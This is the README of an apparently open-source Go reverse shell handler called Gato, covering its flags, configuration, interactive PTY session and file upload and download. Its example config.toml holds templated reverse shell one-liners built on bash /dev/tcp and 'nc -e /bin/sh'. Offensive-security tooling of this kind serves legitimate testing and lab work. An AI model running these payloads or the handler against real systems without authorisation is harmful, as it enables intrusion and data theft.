gato

README

Gato - Reverse Shell Handler

Gato is a reverse shell handler with interactive PTY support and file transfer capabilities.

Requirements

• Go 1.21 or later
• golang.org/x/term

Installation

git clone https://github.com/0xMoonrise/gato
cd gato
go build -o gato cmd/gato/main.go

from go

go install github.com/0xMoonrise/gato@latest

Quick Start

./gato

This starts a listener on 0.0.0.0:4242 using the default configuration.

Usage

gato [host] [port] [flags]
gato [command] [flags]

Flags

-c, --config string   Path to config file (default "config.toml")
-H, --host string     Host to listen on
-p, --port string     Port to listen on
-i, --iface string    Interface for file transfers
-s, --select int      Select reverse shell helper by index
-h, --help            Show help

Examples

gato                           Listen on 0.0.0.0:4242 (default)
gato 8080                      Listen on 0.0.0.0:8080
gato 10.0.0.1 8080             Listen on 10.0.0.1:8080
gato -p 8080 -i tun0           Listen on 0.0.0.0:8080, use tun0 for transfers
gato -s 3                      Use reverse shell helper index 3
gato revers                    List all reverse shell helpers
gato revers -c /path/cfg.toml  List helpers from custom config

Configuration

Gato reads configuration from config.toml in the current directory, ~/.config/gato/config.toml, or /etc/gato/config.toml.

Example config.toml

[listener]
host = "0.0.0.0"
port = "4242"

[interface]
name = "eth0"

[shell]
method = "auto"
term = "xterm-256color"
command = "/bin/bash"

[revers]
selected = 0
revers = [
    "bash -i >& /dev/tcp/%s/%s 0>&1",
    "bash -c \"bash -i >& /dev/tcp/%s/%s 0>&1\"",
    "nc -e /bin/sh %s %s"
]

[transfer]
timeout = 30
port_start = 0

Interactive Commands

During an active session, press Ctrl+Space to enter command mode.

>>> get <remote_file>    Download a file from the remote host
>>> put <local_file>     Upload a file to the remote host
>>> help                 Show available commands
>>> exit                 Close the connection

Press Ctrl+] to force quit the session at any time. Press ESC to cancel command input.

How It Works

1. Gato starts a TCP listener on the configured host and port.
2. Upon connection, it spawns an interactive PTY shell on the remote host.
3. The local terminal is set to raw mode for proper shell interaction.
4. File transfers use secondary TCP connections over the configured interface.

File Transfers

File transfers create a temporary listener on the configured interface. The remote host connects back to this listener to send or receive file data.

Transfers are binary and use no encoding overhead. Progress is displayed during transfer.